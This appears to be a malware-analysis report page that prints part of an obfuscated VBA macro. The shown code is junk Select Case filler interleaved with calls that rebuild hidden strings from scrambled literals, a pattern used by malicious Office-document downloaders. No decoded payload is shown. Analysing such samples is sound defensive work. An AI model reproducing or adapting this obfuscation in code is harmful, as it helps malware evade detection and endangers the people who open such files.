         Case 82629
            dKRLY = Hex(EvGdza - ChrW(awYfpl))
            cAVFjc = CByte(46128)
            uUmok = jzrGW
         Case 63274
            IHcsE = ursqK
            wwdoM = Round(60090)
            bhAmqI = Log(SqzjYT)
End Select
Select Case LuSGJV
         Case 98166
            kSNnV = Hex(jYPGwf - ChrW(prPXVY))
            qEzMli = CByte(2456)
            Gfhpkp = fHcKiY
         Case 68727
            FMqNW = CjowL
            fTBBn = Round(78286)
            RjZJus = Log(LIuKp)
End Select
jlEcL = OmZDHr("omE%!!%fJPd2WOCC", ZTstN - ZTstN + 7 + ZTstN - ZTstN, ZTstN - ZTstN + 7 + ZTstN - ZTstN)
Select Case Hjuzv
         Case 39783
            rEvssZ = Hex(zMGaX - ChrW(mSkjDv))
            Kruod = CByte(12990)
            SwZBGS = tNnjQ
         Case 41261
            OzBUnw = owOwzz
            AJHOm = Round(54387)
            BmETEj = Log(Fwzmas)
End Select
Select Case hljBrv
         Case 73270
            UTRdVY = Hex(fEcaZ - ChrW(PWpFv))
            cwziJi = CByte(3884)
            JPurP = KSZbZQ
         Case 77586
            EsLXtX = Orvwv
            fVoHw = Round(36954)
            APJlK = Log(BwzNfi)
End Select
oaSqjdu = OmZDHr("MwB0j4,tes&&eh=%QBsuVOsi9", ssUqKV - ssUqKV + 3 + ssUqKV - ssUqKV, ssUqKV - ssUqKV + 16 + ssUqKV - ssUqKV)
Select Case irGSm
         Case 70995
            vuYwvT = Hex(fzkTb - ChrW(iwpjaM))
            VVRdQ = CByte(33362)
            ioOVVN = OFqLpq
         Case 37044
            zMuEh = jCXsai
            acvii = Round(68457)
            riOwNJ = Log(swYkV)
End Select
Select Case LtItpY
         Case 99747
            hpqqA = Hex(bCiuk - ChrW(wPLDJ))
            JWqIni = CByte(88693)
            wsLSwm = onBodi
         Case 81317
            CifuC = wiFkvO
            NZCMwW = Round(36962)
            rQwzoJ = Log(KOjKTP)
End Select
uYffDqjZwNT = OmZDHr("Uk3j%!QL4J7", wVFiLk - wVFiLk + 6 + wVFiLk - wVFiLk, wVFiLk - wVFiLk + 2 + wVFiLk - wVFiLk)
Select Case ZIjrBz
         Case 19456
            hAYEb = Hex(wcjMX - ChrW(KShzO))
            UXrDl = CByte(89495)
            ZztcF = TYliw
         Case 48259
            iNLlAw = scGbld
            fmOiPd = Round(81941)
            OFzbq = Log(wZkiY)
End Select
Select Case hApskN
         Case 92233
            Wpwwb = Hex(LwMfWQ - ChrW(BpDtNM))
            jkrFb = CByte(51838)
            shhsPr = oYjIo
         Case 61762
            dIwCm = fKlzWB
            ilzqW = Round(236)
            SRinHY = Log(NRWkZj)
End Select
WqGdVhVErNq = OmZDHr("fILaB !%sUovD1", kHLFDm - kHLFDm + 3 + kHLFDm - kHLFDm, kHLFDm - kHLFDm + 7 + kHLFDm - kHLFDm)
Select Case CcuCo
         Case 91264
            hvhVN = Hex(UCaql - ChrW(izMdJv))
            jStOP = CByte(94976)
            NfJCo = EhkVzR
         Case 87644
            cKrjz = zJqwlH
            MzohSY = Round(87455)
            otXCC = Log(BOqjrB)
End Select
Select Case KibwR
         Case 89783
            wlzDv = Hex(BwtKqj - ChrW(ADXINZ))
            YZjHV = CByte(90209)
            zwisa = XvCtGu
         Case 87194
            hwdriP = HGTjr
            fZEsiA = Round(32850)
            zKRQG = Log(FAdCT)
End Select
kUOjFwwKh = OmZDHr("K@&p=%OGYIwzjt%hdNkI,", HHCiP - HHCiP + 7 + HHCiP - HHCiP, HHCiP - HHCiP + 13 + HHCiP - HHCiP)
Select Case oqaCPq
         Case 60506
            spPJj = Hex(sWzBX - ChrW(cchnLb))
            tvGcQ = CByte(30472)
            nowCc = UAKKvI
         Case 63404
            djDcf = DLJmr
            SlVlMz = Round(86871)
            MEXvY = Log(ZbSXsC)
End Select
Select Case fAMzC
         Case 15882
            dJlPcN = Hex(CjtOoi - ChrW(aCoPZs))
            rzYdr = CByte(60051)
            hjUUm = kMEWEz
         Case 16054
            TGJiK = EzYhcP
            lKNml = Round(65656)
            UAZuCn = Log(OzRKak)
End Select
mubCJLjYT = OmZDHr("tjTivHbKDiavSjUK", RQMDAl - RQMDAl + 5 + RQMDAl - RQMDAl, RQMDAl - RQMDAl + 7 + RQMDAl - RQMDAl)
Select Case XsPwh
         Case 94022
            kHmrWi = Hex(CrjTRY - ChrW(ThOcXq))
            zGXBfC = CByte(26470)
            znDln = smCfEs
         Case 22320
            iqJLY = KAVJF
            kAOqr = Round(61712)
            luwPjk = Log(avMzS)
End Select
Select Case cZUuq
         Case 76026
            zPXJp = Hex(ifvvmn - ChrW(TcvuTi))
            sXMHSi = CByte(2549)
            SmmAVd = HiwZN
         Case 61058
            bjKbWl = daaIBX
            DQrLav = Round(23367)
            JlSHO = Log(NwtUG)
End Select
orRrhAwv = OmZDHr("K2s&&s=%tmlFNjQ% tNJsAw", itYhsT - itYhsT + 6 + itYhsT - itYhsT, itYhsT - itYhsT + 16 + itYhsT - itYhsT)
Select Case vcwrH
         Case 30343
            pLLsUF = Hex(ESGOnj - ChrW(SaZJO))
            iQihn = CByte(90610)
            fbTAD = JWzws
         Case 96368
            lQupi = WhdBXi
            tHZhdF = Round(48109)
            wczGKd = Log(DUbjKM)
End Select
Select Case ESwlf
         Case 18180
            inswX = Hex(BDztU - ChrW(SNjND))
            sHohJ = CByte(28109)
            GhpjF = zAnNj
         Case 1905
            AHphrC = qEKXFu
            nCizi = Round(57454)
            RTMWuj = Log(BiAwM)
End Select
tXFMUpHOn = OmZDHr("5suOZG2izJz3a", OVoCGY - OVoCGY + 8 + OVoCGY - OVoCGY, OVoCGY - OVoCGY + 4 + OVoCGY - OVoCGY)
Select Case MlSHp
         Case 14111
            TBXSb = Hex(lLzIQ - ChrW(XEjoc))
            zSioZ = CByte(18858)
            sjLCkX = WOUPw
         Case 87985
            kzJEVk = pGdzpw
            okibNr = Round(67633)
            ZJNlJi = Log(kTsjP)
End Select
Select Case ZjHCa
         Case 59730
            YiaWvz = Hex(ojLsT - ChrW(iQKlQ))
            ONnXvQ = CByte(48499)
            uSTSf = EQPJtS
         Case 91638
            GMUQM = tJVWla
            ilGfF = Round(42655)
            IWNsMb = Log(NABsw)
End Select
EPnmSX = OmZDHr("DQiv%OqIAAVCfIwowJ", VUkEZ - VUkEZ + 3 + VUkEZ - VUkEZ, VUkEZ - VUkEZ + 12 + VUkEZ - VUkEZ)
Select Case BGaCi
         Case 8717
            dlwzjF = Hex(ViJinw - ChrW(EkzcE))
            qfIUim = CByte(43332)
            bKDAA = wWZPLH
         Case 96796
            jrXECl = WaaZTr
            dbTtiO = Round(89818)
            FdnHU = Log(KjQwnM)
End Select
Select Case azDLEc
         Case 5480
            jalUd = Hex(wpJDEt - ChrW(Hrkrw))
            iAVLz = CByte(11221)
            btqHt = ObAuR
         Case 76035
            qzqAnG = bSHSTH
            UWLOo = Round(27800)
            TDzBK = Log(ivHzTD)
End Select
…

Open this report in the interactive analyzer, or submit your own file for analysis.